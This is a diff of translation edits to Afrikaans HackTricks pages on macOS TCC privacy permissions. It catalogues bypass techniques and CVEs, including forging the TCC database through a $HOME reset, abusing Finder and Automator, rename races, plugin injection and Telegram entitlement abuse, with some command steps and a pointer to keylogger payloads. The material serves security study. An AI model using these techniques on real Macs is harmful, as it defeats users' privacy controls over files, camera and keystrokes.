* Die **csreq** veld is daar om aan te dui hoe om die binêre lêer te verifieer om uit te voer en die TCC-toestemmings toe te ken:
```bash
# Query to get cserq in printable hex
@ -209,7 +209,7 @@ tccutil reset All
```
### TCC Handtekeningkontroles
Die TCC **databasis** stoor die **Bundel-ID** van die aansoek, maar dit stoor ook **inligting** oor die **handtekening** om seker te maak dat die aansoek wat toestemming vra, die regte een is.
Die TCC **databasis** stoor die **Bundel-ID** van die aansoek, maar dit stoor ook **inligting** oor die **handtekening** om **seker te maak** dat die aansoek wat toestemming vra, die regte een is.
{% code overflow="wrap" %}
```bash
@ -229,14 +229,14 @@ csreq -t -r /tmp/telegram_csreq.bin
Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot toestemmings wat aan ander programme verleen is nie.
{% endhint %}
### Toekennings & TCC-toestemmings
### Toestemmings & TCC-toestemmings
Toepassings **moet nie net** versoek nie en toegang **gekry het tot sekere bronne nie, hulle moet ook die relevante toekennings hê.**\
Byvoorbeeld **Telegram** het die toekennings `com.apple.security.device.camera` om **toegang tot die kamera te versoek.** 'n **Toepassing** sonder hierdie **toekennings sal nie toegang hê** tot die kamera (en die gebruiker sal selfs nie gevra word vir die toestemmings nie).
Toepassings **moet nie net** toegang tot sekere bronne **aanvra** en verkry het nie, hulle moet ook **die relevante toestemmings** hê.\
Byvoorbeeld het **Telegram** die toestemming `com.apple.security.device.camera` om **toegang tot die kamera** aan te vra. 'n **Toepassing** sonder hierdie **toestemming sal nie** die kamera kan gebruik nie (en die gebruiker sal selfs nie vir die toestemmings gevra word nie).
Tog, vir toepassings om **toegang te verkry tot sekere gebruikersgids**, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle nie enige spesifieke **toekennings te hê nie.** Die stelsel sal toegang outomaties hanteer en die gebruiker **soos nodig** vra.
Nietemin, vir toepassings om toegang tot **sekere gebruikersgids** te hê, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle **geen spesifieke toestemmings** te hê nie. Die stelsel sal toegang outomaties hanteer en die gebruiker **soos nodig** versoek.
Apple se toepassings **sal nie pop-ups genereer nie.** Hulle bevat **vooraf toegestane regte** in hul **toekenningslys**, wat beteken dat hulle **nooit 'n pop-up sal genereer nie**, **of** in enige van die **TCC-databasisse sal verskyn nie.** Byvoorbeeld:
Apple se toepassings **sal nie versoekvensters genereer nie**. Hulle bevat **vooraf verleen regte** in hul **toestemmingslys**, wat beteken dat hulle **nooit 'n popup sal genereer** of in enige van die **TCC-databasisse sal verskyn nie.** Byvoorbeeld:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -263,7 +263,7 @@ Sommige TCC-toestemmings is: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCSe
### Gebruikersbedoeling / com.apple.macl
Soos voorheen genoem, is dit moontlik om **toegang tot 'n toepassing tot 'n lêer te verleen deur dit na die toepassing te sleep**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **kenmerk van die lêer**. Hierdie kenmerk sal **die UUID van die toegelate toepassing stoor**:
Soos voorheen genoem, is dit moontlik om **toegang tot 'n toepassing tot 'n lêer te verleen deur dit daarheen te sleep**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **kenmerk van die lêer**. Hierdie kenmerk sal **die UUID** van die toegelate toepassing stoor:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -281,7 +281,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
{% hint style="info" %}
Dit is merkwaardig dat die **`com.apple.macl`** attribuut deur die **Sandbox** bestuur word, nie deur tccd nie.
Merk ook op dat as jy 'n lêer skuif wat die UUID van 'n toepassing op jou rekenaar toelaat na 'n ander rekenaar, omdat dieselfde toepassing verskillende UIDs sal hê, sal dit nie toegang tot daardie toepassing verleen nie.
Merk ook op dat as jy 'n lêer wat die UUID van 'n toepassing op jou rekenaar toelaat na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UID's sal hê, dit nie toegang tot daardie toepassing sal verleen nie.
{% endhint %}
Die uitgebreide attribuut `com.apple.macl` **kan nie skoongemaak word** soos ander uitgebreide eienskappe nie omdat dit deur SIP **beskerm word**. Nietemin, soos [**verduidelik in hierdie pos**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), is dit moontlik om dit te deaktiveer deur die lêer te **zip**, dit te **verwyder** en dit weer te **ontzip**.
@ -349,7 +349,7 @@ As jy daarin geslaag het om binne 'n program met sekere TCC-toestemmings te kom,
Die TCC-naam van die Outomatisering-toestemming is: **`kTCCServiceAppleEvents`**\
Hierdie spesifieke TCC-toestemming dui ook die **toepassing aan wat binne die TCC-databasis bestuur kan word** (sodat die toestemmings nie net alles toelaat om bestuur te word nie).
**Finder** is 'n toepassing wat **altyd FDA het** (selfs al verskyn dit nie in die UI nie), so as jy **Outomatisering**-voorregte oor dit het, kan jy sy voorregte misbruik om dit **sekere aksies te laat uitvoer**.\
**Finder** is 'n toepassing wat **altyd FDA het** (selfs al verskyn dit nie in die UI nie), so as jy **Outomatisering**-voorregte daaroor het, kan jy sy voorregte misbruik om dit **sekere aksies te laat uitvoer**.\
In hierdie geval sal jou program die toestemming **`kTCCServiceAppleEvents`** oor **`com.apple.Finder`** benodig.
{% tabs %}
@ -383,17 +383,17 @@ EOD
Jy kan dit misbruik om **jou eie gebruiker TCC-databasis te skryf**.
{% hint style="warning" %}
Met hierdie toestemming sal jy in staat wees om **finder te vra om toegang tot TCC-beperkte folders** en jou die lêers te gee, maar na my wete sal jy **nie in staat wees om Finder te laat arbitrêre kodes uitvoer** om sy volle FDA-toegang te misbruik nie.
Met hierdie toestemming sal jy in staat wees om **finder te vra om toegang tot TCC-beperkte mappe** en jou die lêers te gee, maar na my wete sal jy **nie in staat wees om Finder te laat arbitrêre kodes uitvoer** om sy volle FDA-toegang te misbruik nie.
Daarom sal jy nie die volle FDA-vermoëns kan misbruik nie.
{% endhint %}
Dit is die TCC-prompt om Outomatiseringsvoorregte oor Finder te kry:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
Let daarop dat omdat die **Automator**-toepassing die TCC-toestemming **`kTCCServiceAppleEvents`** het, kan dit **enige toepassing beheer**, soos Finder. Dus, deur die toestemming te hê om Automator te beheer, kan jy ook die **Finder** beheer met 'n kode soos die een hieronder:
Let daarop dat omdat die **Automator**-toepassing die TCC-toestemming **`kTCCServiceAppleEvents`** het, kan dit **enige toepassing** beheer, soos Finder. Dus, deur die toestemming te hê om Automator te beheer, kan jy ook die **Finder** beheer met 'n kode soos die een hieronder:
{% endhint %}
<details>
@ -424,7 +424,7 @@ Dieselfde gebeur met die **Script Editor-toepassing,** dit kan Finder beheer, ma
### Outomatisering (SE) na sommige TCC
**Sisteemgebeure kan Mapaksies skep, en Mapaksies kan toegang verkry tot sommige TCC-mappe** (Lessenaar, Dokumente & Aflaaibare lêers), so 'n skrip soos die volgende kan gebruik word om van hierdie gedrag misbruik te maak:
**Stelselgebeure kan Mapaksies skep, en Mapaksies kan toegang verkry tot sommige TCC-mappe** (Lessenaar, Dokumente & Aflaaibare lêers), so 'n skrip soos die volgende kan gebruik word om van hierdie gedrag misbruik te maak:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -518,9 +518,9 @@ EOF
```
### `kTCCServiceAccessibility` na FDA\*
Kyk na hierdie bladsy vir sommige [**ladinge om die Toeganklikheidsregte te misbruik**](macos-tcc-payloads.md#accessibility) om te privilige-opskaling na FDA\* te doen of byvoorbeeld 'n sleutellogger te hardloop.
Kyk na hierdie bladsy vir sommige [**payloads om die Toeganklikheidsregte te misbruik**](macos-tcc-payloads.md#accessibility) om te privilige-escalate na FDA\* of hardloop byvoorbeeld 'n sleutelvanger.
### **Eindpunt Sekuriteitsklient na FDA**
### **Eindpunt Sekuriteit Klient na FDA**
As jy **`kTCCServiceEndpointSecurityClient`** het, het jy FDA. Einde.
@ -530,21 +530,21 @@ As jy **`kTCCServiceEndpointSecurityClient`** het, het jy FDA. Einde.
### Gebruiker TCC DB na FDA
Deur **skryfregte** oor die **gebruiker TCC** databasis te verkry, kan jy nie jouself **`FDA`** regte gee nie, slegs die een wat in die stelsel databasis woon kan dit gee.
Deur **skryfregte** oor die **gebruiker TCC** databasis te verkry, kan jy nie jouself **`FDA`** regte gee nie, slegs die een wat in die stelsel databasis woon kan dit toeken.
Maar jy kan jouself **`Outomatiese regte tot Finder`** gee, en die vorige tegniek misbruik om na FDA\* op te skaleer.
Maar jy kan jouself **`Outomatiese regte tot Finder`** gee, en die vorige tegniek misbruik om te privilige-escalate na FDA\*.
### **FDA na TCC-regte**
**Volle Skyftoegang** se TCC-naam is **`kTCCServiceSystemPolicyAllFiles`**
**Volle Skyf Toegang** se TCC-naam is **`kTCCServiceSystemPolicyAllFiles`**
Ek dink nie dit is 'n werklike privilige-opskaling nie, maar net in die geval dat jy dit nuttig vind: As jy 'n program met FDA beheer, kan jy die gebruikers TCC-databasis **verander en jouself enige toegang gee**. Dit kan nuttig wees as 'n volhardingstegniek in die geval dat jy jou FDA-regte mag verloor.
Ek dink nie dit is 'n werklike privilige-escalate nie, maar net in die geval jy dit nuttig vind: As jy 'n program met FDA beheer, kan jy die gebruikers TCC databasis **verander en jouself enige toegang gee**. Dit kan nuttig wees as 'n volhardingstegniek in die geval jy jou FDA-regte mag verloor.
### **SIP-omseiling na TCC-omseiling**
Die stelsel **TCC-databasis** word beskerm deur **SIP**, daarom sal slegs prosesse met die **aangeduide toekennings in staat wees om dit te verander**. Daarom, as 'n aanvaller 'n **SIP-omseiling** oor 'n **lêer** vind (in staat is om 'n lêer wat deur SIP beperk word te verander), sal hy in staat wees om:
* **Die beskerming verwyder** van 'n TCC-databasis, en homself alle TCC-regte gee. Hy kan enige van hierdie lêers byvoorbeeld misbruik:
* **Verwyder die beskerming** van 'n TCC-databasis, en homself alle TCC-regte gee. Hy kan enige van hierdie lêers byvoorbeeld misbruik:
* Die TCC-stelseldatabasis
* REG.db
* MDMOverrides.plist
@ -599,7 +599,7 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -38,8 +38,8 @@ Dit is moontlik om **'n venster oor die TCC-prompt te plaas** om die gebruiker d
### TCC Aanvraag per willekeurige naam
'n Aanvaller kan **toepassings met enige naam skep** (bv. Finder, Google Chrome...) in die **`Info.plist`** en dit laat toegang tot 'n paar TCC-beskermde plekke aanvra. Die gebruiker sal dink dat die regte aansoek hierdie toegang aanvra.\
Boonop is dit moontlik om **die regte program van die Dock te verwyder en die valse een daarop te plaas**, sodat wanneer die gebruiker op die valse een klik (wat dieselfde ikoon kan gebruik) dit die regte een kan aanroep, vir TCC-toestemmings kan vra en 'n kwaadwillige program kan uitvoer, sodat die gebruiker glo dat die regte program die toegang aangevra het.
'n Aanvaller kan **toepassings met enige naam skep** (bv. Finder, Google Chrome...) in die **`Info.plist`** en dit laat vra om toegang tot 'n paar TCC-beskermde plekke. Die gebruiker sal dink dat die regte toepassing die een is wat hierdie toegang aanvra.\
Boonop is dit moontlik om **die regte toepassing van die Dock te verwyder en die valse een daarop te plaas**, sodat wanneer die gebruiker op die valse een klik (wat dieselfde ikoon kan gebruik) dit die regte een kan aanroep, vir TCC-toestemmings kan vra en 'n kwaadwillige program kan uitvoer, sodat die gebruiker glo dat die regte toepassing die toegang aangevra het.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -51,11 +51,11 @@ Meer inligting en PoC in:
### SSH Omgang
Standaard het toegang via **SSH "Volle Skyf Toegang"**. Om dit uit te skakel, moet jy dit gelys hê maar uitgeschakel (om dit van die lys te verwyder sal nie daardie voorregte verwyder nie):
Standaard het toegang via **SSH "Volle Skyf Toegang"**. Om dit uit te skakel, moet jy dit gelys hê maar uitgeschakel (om dit van die lys te verwyder, sal nie daardie voorregte verwyder nie):
![](<../../../../../.gitbook/assets/image (569).png>)
Hier kan jy voorbeelde vind van hoe sommige **malware hierdie beskerming kon omseil**:
Hier kan jy voorbeelde vind van hoe sommige **kwaadwillige programme hierdie beskerming kon omseil**:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@ -65,13 +65,13 @@ Let daarop dat jy nou, om SSH te kan aktiveer, **Volle Skyf Toegang** nodig het
### Hanteer uitbreidings - CVE-2022-26767
Die attribuut **`com.apple.macl`** word aan lêers gegee om 'n **sekere toepassing toestemming te gee om dit te lees.** Hierdie attribuut word ingestel wanneer 'n gebruiker 'n lêer oor 'n program sleep, of wanneer 'n gebruiker 'n lêer **dubbelklik** om dit met die **standaardtoepassing** oop te maak.
Die attribuut **`com.apple.macl`** word aan lêers gegee om 'n **sekere toepassing toestemming te gee om dit te lees.** Hierdie attribuut word ingestel wanneer 'n gebruiker 'n lêer oor 'n toepassing sleep, of wanneer 'n gebruiker 'n lêer **dubbelklik** om dit met die **standaardtoepassing** oop te maak.
Dus kan 'n gebruiker 'n kwaadwillige program **registreer** om al die uitbreidings te hanteer en Launch Services te roep om **enige lêer oop te maak** (sodat die kwaadwillige lêer toegang kry om dit te lees).
Daarom kan 'n gebruiker 'n kwaadwillige toepassing **registreer** om al die uitbreidings te hanteer en Launch Services te roep om **enige lêer oop te maak** (sodat die kwaadwillige lêer toegang kry om dit te lees).
### iCloud
Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik om met die **`com.apple.iCloudHelper`** XPC-diens te kommunikeer wat **iCloud-token** sal voorsien.
Die toestemming **`com.apple.private.icloud-account-access`** dit is moontlik om te kommunikeer met die **`com.apple.iCloudHelper`** XPC-diens wat **iCloud-token** sal voorsien.
**iMovie** en **Garageband** het hierdie toestemming en ander wat toegelaat het.
@ -127,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Die **tccd daemon** in die gebruikersruimte gebruik die **`HOME`** **env** veranderlike om toegang te verkry tot die TCC-gebruikersdatabasis vanaf: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Die gebruikersland **tccd daemon** wat die **`HOME`** **env** veranderlike gebruik om toegang te verkry tot die TCC-gebruikersdatabasis vanaf: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Volgens [hierdie Stack Exchange pos](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) en omdat die TCC daemon hardloop via `launchd` binne die huidige gebruiker se domein, is dit moontlik om **alle omgewingsveranderlikes** wat daaraan oorgedra word, te **beheer**.\
Dus kan 'n **aanvaller die `$HOME` omgewingsveranderlike** in **`launchctl`** instel om te verwys na 'n **beheerde gids**, die **TCC** daemon **herlaai**, en dan die **TCC-databasis direk wysig** om homself **elke TCC-toestemming wat beskikbaar is** te gee sonder om ooit die eindgebruiker te vra.\
Volgens [hierdie Stack Exchange pos](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) en omdat die TCC daemon hardloop via `launchd` binne die huidige gebruiker se domein, is dit moontlik om **alle omgewingsveranderlikes** wat aan dit oorgedra word, te **beheer**.\
Dus kan 'n **aanvaller die `$HOME` omgewingsveranderlike** in **`launchctl`** instel om te verwys na 'n **beheerde gids**, die **TCC** daemon **herlaai**, en dan die **TCC-databasis direk wysig** om homself **elke TCC-toestemming beskikbaar** te gee sonder om ooit die eindgebruiker te vra.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -160,19 +160,19 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Notas
Notas het toegang tot TCC-beskermde plekke gehad, maar wanneer 'n nota geskep word, word dit **geskep in 'n nie-beskermde plek**. Jy kon dus notas vra om 'n beskermde lêer in 'n nota te kopieer (dus in 'n nie-beskermde plek) en dan toegang tot die lêer te verkry:
Notas het toegang gehad tot TCC-beskermde plekke, maar wanneer 'n nota geskep word, word dit **geskep in 'n nie-beskermde plek**. So, jy kon notas vra om 'n beskermde lêer in 'n nota te kopieer (dus in 'n nie-beskermde plek) en dan die lêer te benader:
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-30782 - Translokasie
Die binêre lêer `/usr/libexec/lsd` met die biblioteek `libsecurity_translocate` het die toestemming `com.apple.private.nullfs_allow` gehad wat dit toegelaat het om 'n **nullfs**-koppeling te skep en het die toestemming `com.apple.private.tcc.allow` gehad met **`kTCCServiceSystemPolicyAllFiles`** om toegang tot elke lêer te verkry.
Die binêre `/usr/libexec/lsd` met die biblioteek `libsecurity_translocate` het die entitlement `com.apple.private.nullfs_allow` gehad wat dit toegelaat het om 'n **nullfs**-koppelpunt te skep en het die entitlement `com.apple.private.tcc.allow` gehad met **`kTCCServiceSystemPolicyAllFiles`** om toegang tot elke lêer te verkry.
Dit was moontlik om die kwarantynkenmerk by "Library" toe te voeg, die **`com.apple.security.translocation`** XPC-diens te roep en dan sou dit Library na **`$TMPDIR/AppTranslocation/d/d/Library`** in kaart bring waar al die dokumente binne Library **toeganklik** sou wees.
Dit was moontlik om die kwarantynatribuut by "Library" toe te voeg, die **`com.apple.security.translocation`** XPC-diens te roep en dan sou dit Library na **`$TMPDIR/AppTranslocation/d/d/Library`** in kaart bring waar al die dokumente binne Library **benader** kon word.
### CVE-2023-38571 - Musiek & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Musiek`** het 'n interessante kenmerk: Wanneer dit loop, sal dit die lêers wat na **`~/Musiek/Musiek/Media.localized/Automatically Add to Music.localized`** gesleep word, in die gebruiker se "medialêer" **importeer**. Verder roep dit iets soos: **`rename(a, b);`** waar `a` en `b` is:
**`Musiek`** het 'n interessante kenmerk: Wanneer dit loop, sal dit die lêers wat na **`~/Musiek/Musiek/Media.localized/Automatically Add to Music.localized`** gesleep word, **invoer** in die gebruiker se "medialêer". Verder, roep dit iets soos: **`rename(a, b);`** waar `a` en `b` is:
* `a = "~/Musiek/Musiek/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Musiek/Musiek/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
@ -186,7 +186,7 @@ As **`SQLITE_SQLLOG_DIR="pad/vouer"`** basies beteken dat **enige oop db na daar
### **SQLITE\_AUTO\_TRACE**
As die omgewingsveranderlike **`SQLITE_AUTO_TRACE`** ingestel is, sal die biblioteek **`libsqlite3.dylib`** begin om al die SQL-navrae te **log**. Baie toepassings het hierdie biblioteek gebruik, dus was dit moontlik om al hul SQLite-navrae te log.
As die omgewingsveranderlike **`SQLITE_AUTO_TRACE`** ingestel is, sal die biblioteek **`libsqlite3.dylib`** begin om al die SQL-navrae **te log**. Baie toepassings het hierdie biblioteek gebruik, dus was dit moontlik om al hul SQLite-navrae te log.
Verskeie Apple-toepassings het hierdie biblioteek gebruik om toegang tot TCC-beskermde inligting te verkry.
```bash
@ -205,7 +205,7 @@ Stel die volgende in: `MTL_DUMP_PIPELINES_TO_JSON_FILE="pad/naam"`. As `pad` 'n
Dit is 'n tydelike lêer skryf, gevolg deur 'n **`hernoem(oud, nuut)`** **wat nie veilig is nie.**
Dit is nie veilig nie omdat dit die ou en nuwe paaie apart moet **oplos**, wat tyd kan neem en vatbaar kan wees vir 'n Wedloopvoorwaarde. Vir meer inligting kan jy die `xnu`-funksie `renameat_internal()` nagaan.
Dit is nie veilig nie omdat dit die ou en nuwe paaie apart moet **oplos**, wat tyd kan neem en vatbaar kan wees vir 'n Wedloop Toestand. Vir meer inligting kan jy die `xnu`-funksie `renameat_internal()` nagaan.
{% hint style="danger" %}
Dus, as 'n bevoorregte proses hernoem vanaf 'n gids wat jy beheer, kan jy 'n RCE wen en dit laat toegang kry tot 'n ander lêer of, soos in hierdie CVE, die lêer wat die bevoorregte program geskep het, oopmaak en 'n FD stoor.
@ -215,7 +215,7 @@ As die hernoem toegang tot 'n gids wat jy beheer, terwyl jy die bronlêer gewysi
Dit was die aanval in die CVE: Byvoorbeeld, om die gebruiker se `TCC.db` te oorskryf, kan ons:
* skep `/Gebruikers/hacker/onskakel` om te wys na `/Gebruikers/hacker/Biblioteek-toepassing/Ondersteuning/com.apple.TCC/`
* skep `/Gebruikers/hacker/onskakel` om te wys na `/Gebruikers/hacker/Biblioteek-toepassingsondersteuning/com.apple.TCC/`
* skep die gids `/Gebruikers/hacker/tmp/`
* stel `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Gebruikers/hacker/tmp/TCC.db`
* aktiveer die fout deur `Musiek` met hierdie omgewingsveranderlike te hardloop
@ -235,30 +235,30 @@ Nou, as jy probeer om die omgewingsveranderlike `MTL_DUMP_PIPELINES_TO_JSON_FILE
### Apple Remote Desktop
As root kan jy hierdie diens aktiveer en die **ARD-agent sal volle skakeltoegang hê** wat dan deur 'n gebruiker misbruik kan word om dit 'n nuwe **TCC-gebruikersdatabasis** te laat kopieer.
As 'n root kan jy hierdie diens aktiveer en die **ARD-agent sal volle skyftoegang hê** wat dan deur 'n gebruiker misbruik kan word om dit 'n nuwe **TCC-gebruikersdatabasis** te laat kopieer.
## Deur **NFSHomeDirectory**
TCC gebruik 'n databasis in die gebruiker se TUIS-gids om toegang tot bronne wat spesifiek vir die gebruiker is, te beheer by **$HOME/Biblioteek-toepassing/Ondersteuning/com.apple.TCC/TCC.db**.\
Daarom, as die gebruiker daarin slaag om TCC te herlaai met 'n $HOME-omgewingsveranderlike wat na 'n **ander gids** wys, kan die gebruiker 'n nuwe TCC-databasis skep in **/Biblioteek-toepassing/Ondersteuning/com.apple.TCC/TCC.db** en TCC mislei om enige TCC-toestemming aan enige toepassing toe te staan.
TCC gebruik 'n databasis in die gebruiker se TUIS-gids om toegang tot bronne wat spesifiek vir die gebruiker is, te beheer by **$HOME/Biblioteek-toepassingsondersteuning/com.apple.TCC/TCC.db**.\
Daarom, as die gebruiker daarin slaag om TCC te herlaai met 'n $HOME-omgewingsveranderlike wat na 'n **ander gids** wys, kan die gebruiker 'n nuwe TCC-databasis skep in **/Biblioteek-toepassingsondersteuning/com.apple.TCC/TCC.db** en TCC mislei om enige TCC-toestemming aan enige toepassing toe te ken.
{% hint style="success" %}
Let daarop dat Apple die instelling wat binne die gebruiker se profiel gestoor word in die **`NFSHomeDirectory`**-kenmerk vir die **waarde van `$HOME`** gebruik, dus as jy 'n toepassing met toestemmings om hierdie waarde te wysig (**`kTCCServiceSystemPolicySysAdminFiles`**) kompromitteer, kan jy hierdie opsie **bewapen** met 'n TCC-omweg.
Let daarop dat Apple die instelling wat binne die gebruiker se profiel gestoor word in die **`NFSHomeDirectory`**-eienskap gebruik vir die **waarde van `$HOME`**, so as jy 'n toepassing met toestemmings om hierdie waarde te wysig (**`kTCCServiceSystemPolicySysAdminFiles`**) kompromitteer, kan jy hierdie opsie **bewapen** met 'n TCC-omseiling.
{% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1)
### [CVE-2020-27937 - Gidsnut](./#cve-2020-27937-directory-utility-1)
### CVE-2021-30970 - Powerdir
Die **eerste POC** gebruik [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) en [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) om die **HOME**-gids van die gebruiker te wysig.
1. Kry 'n _csreq_ brok vir die teikentoepassing.
2. Plant 'n valse _TCC.db_-lêer met vereiste toegang en die _csreq_ brok.
3. Voer die gebruiker se Dienste-gids uit met [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Wysig die Dienste-gids om die gebruiker se tuisgids te verander.
5. Voer die gewysigde Dienste-gids in met [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
1. Kry 'n _csreq_ brok vir die teikentoep.
2. Plant 'n valse _TCC.db_ lêer met vereiste toegang en die _csreq_ brok.
3. Voer die gebruiker se Gidsdiensinskrywing uit met [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Wysig die Gidsdiensinskrywing om die gebruiker se tuisgids te verander.
5. Voer die gewysigde Gidsdiensinskrywing in met [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
6. Stop die gebruiker se _tccd_ en herlaai die proses.
Die tweede POC het **`/usr/libexec/configd`** gebruik wat `com.apple.private.tcc.allow` met die waarde `kTCCServiceSystemPolicySysAdminFiles` gehad het.\
@ -274,14 +274,14 @@ Daar is verskillende tegnieke om kode binne 'n proses in te spuit en sy TCC-voor
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
Verder is die mees algemene prosesinspuiting om TCC te omseil via **inproppele (laai biblioteek)**.\
Inproppele is ekstra kode gewoonlik in die vorm van biblioteke of plist, wat deur die hooftoepassing **gelaai sal word** en sal uitvoer onder sy konteks. Daarom, as die hooftoepassing toegang tot TCC-beperkte lêers gehad het (via toegestane toestemmings of toekennings), sal die **aangepaste kode dit ook hê**.
Verder is die mees algemene prosesinspuiting om TCC te omseil via **inproppe (laai biblioteek)**.\
Inproppe is ekstra kode gewoonlik in die vorm van biblioteke of plist, wat deur die hooftoepassing **gelaai sal word** en sal uitvoer onder sy konteks. Daarom, as die hooftoepassing toegang tot TCC-beperkte lêers gehad het (via toegestane toestemmings of toekennings), sal die **aangepaste kode dit ook hê**.
### CVE-2020-27937 - Directory Utility
### CVE-2020-27937 - Gidsnut
Die toepassing `/System/Library/CoreServices/Applications/Directory Utility.app` het die toekennings **`kTCCServiceSystemPolicySysAdminFiles`** gehad, het inproppele met die **`.daplug`**-uitbreiding gelaai en het nie die geharde uitvoering gehad nie.
Die toepassing `/Sisteem/Biblioteek/Kerndiens/Apps/Gidsnut.app` het die toestemming **`kTCCServiceSystemPolicySysAdminFiles`** gehad, het inproppe met die **`.daplug`**-uitbreiding gelaai en het nie die versterkte hardloop gehad nie.
Om hierdie CVE te bewapen, word die **`NFSHomeDirectory`** verander (deur die vorige toekenning te misbruik) sodat jy die gebruikers TCC-databasis kan **oorneem** om TCC te omseil.
Om hierdie CVE te bewapen, is die **`NFSHomeDirectory`** verander (deur die vorige toestemming te misbruik) om in staat te wees om die gebruikers TCC-databasis oor te neem om TCC te omseil.
Vir meer inligting, kyk na die [**oorspronklike verslag**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
### CVE-2020-29621 - Coreaudiod
@ -319,7 +319,7 @@ Vir meer inligting, kyk na die [**oorspronklike verslag**](https://wojciechregul
### Toestel-Abstraksie-Laag (DAL) Inproppe
Stelseltoepassings wat kamerstroom oopmaak via Core Media I/O (toepassings met **`kTCCServiceCamera`**) laai **in die proses hierdie inproppe** wat in `/Library/CoreMediaIO/Plug-Ins/DAL` geleë is (nie SIP-beperk nie).
Stelseltoepassings wat kamerstroom oopmaak via Core Media I/O (apps met **`kTCCServiceCamera`**) laai **in die proses hierdie inproppe** wat in `/Library/CoreMediaIO/Plug-Ins/DAL` geleë is (nie SIP-beperk nie).
Net deur 'n biblioteek met die gewone **konstrukteur** daar te stoor, sal werk om **kode in te spuit**.
@ -353,7 +353,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Vir meer inligting oor hoe om hierdie maklik te misbruik, [**kontroleer die oorspronklike verslag**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Vir meer inligting oor hoe om hierdie maklik te misbruik, [kontroleer die oorspronklike verslag](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
@ -363,7 +363,7 @@ Die binêre lêer `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` het
Telegram het die toestemmings **`com.apple.security.cs.allow-dyld-environment-variables`** en **`com.apple.security.cs.disable-library-validation`** gehad, dus was dit moontlik om dit te misbruik om **toegang tot sy toestemmings** te kry, soos die opname met die kamera. Jy kan [**die nutlading in die skryfstuk vind**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
